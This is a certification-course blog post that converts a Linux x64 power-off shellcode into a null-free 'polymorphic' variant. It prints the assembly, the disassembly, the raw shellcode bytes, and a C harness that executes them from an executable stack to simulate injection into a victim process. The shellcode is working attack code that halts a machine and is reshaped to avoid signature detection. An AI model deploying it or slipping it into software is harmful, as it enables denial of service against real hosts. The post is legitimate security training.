7 Minute Read
Student ID: SLAE64-1611

Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Breakdown


Part three of assignment six of the SLAE64 has us performing our third and final polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
Linux/x86_64 reboot(POWER_OFF)

And for the final time … you can see from the assembly code below, and at the provided link, this is not a very complex set of code but truth be told there are still not a whole lot of x64 shellcode samples at shell-storm.org ;)

Just like last two times the very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was yet again kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling only one function, which is sys_reboot (0xa9/169).

    ; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_POWER_OFF)
 
    section .text
        global _start
 
    _start:
        mov     edx, 0x4321fedc
        mov     esi, 0x28121969
        mov     edi, 0xfee1dead
        mov     al,  0xa9
        syscall
http://shell-storm.org/shellcode/files/shellcode-603.php


Before continuing on however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs. which should be 19 bytes long:

\xba\xdc\xfe\x21\x43\xbe\x69\x19\x12\x28\xbf\xad\xde\xe1\xfe\xb0\xa9\x0f\x05


The shellcode size we end up with is only 19 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 28 bytes for our shellcode … that is really not a lot of room toi play with here … but I got faith is us … so here we go!

Behold, I preset to you our new assembly, which ends up only being 27 bytes long, five whole bytes under our original target!

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.3 : Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)
; File Name      : poweroff.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-602.php

section .text
global _start

_start:

xor rax, rax                ; zeroing out rax
mov al, 0xa9                ; setting rax to 0xa9 (sys_reboot)

mov     edx, 0x4321fedd     ; need to sub one to get 0x4321fedc
mov     esi, 0x2812196a     ; need to sub one to get 0x28121969
mov     edi, 0xfee1dead     ; keeping fee1dead the same for space issues

dec     dl                  ; should now be 0x4321fedc
dec     sil                 ; should now be 0x28121969

syscall                     ; call sys_reboot
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.nasm


So what did we do for the final time in order to introduce our polymorphic magic? Well, given just how little room we were confined to working with (28 bytes) we just altered the final magic numbers a little bit and then ran a few dec operations on them in order to keep it within the range … which ended up being 27 bytes!

And just like in all the previous posts thus far we go ahead and compile our assembly as such:

objdump -d -M intel poweroff

Which produces the following output, notice how there are no nulls!

poweroff:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	b0 a9                	mov    al,0xa9
  400085:	ba dd fe 21 43       	mov    edx,0x4321fedd
  40008a:	be 6a 19 12 28       	mov    esi,0x2812196a
  40008f:	bf ad de e1 fe       	mov    edi,0xfee1dead
  400094:	fe ca                	dec    dl
  400096:	40 fe ce             	dec    sil
  400099:	0f 05                	syscall

Awwwwwwww yeah, once again no nulls! :)

Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:

for i in $(objdump -D poweroff.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo

Which produces the following 27 bytes of shellcode:

\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05

At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : poweroff.c

#include<stdio.h>
#include<string.h>

//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.c


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie


Animated gif of the complete compilation and running of our polymorphic shellcode!

go go poweroff


Final_Breakdown:


Below are the contents of the final code needed to generate our 27 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode.

Assembly Code

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.3 : Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)
; File Name      : poweroff.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-602.php

section .text
global _start

_start:

xor rax, rax                ; zeroing out rax
mov al, 0xa9                ; setting rax to 0xa9 (sys_reboot)

mov     edx, 0x4321fedd     ; need to sub one to get 0x4321fedc
mov     esi, 0x2812196a     ; need to sub one to get 0x28121969
mov     edi, 0xfee1dead     ; keeping fee1dead the same for space issues

dec     dl                  ; should now be 0x4321fedc
dec     sil                 ; should now be 0x28121969

syscall                     ; call sys_reboot
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.nasm

Helper Compile Bash Script

#!/bin/bash

echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : poweroff.c

#include<stdio.h>
#include<string.h>

//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
[https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.c]

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)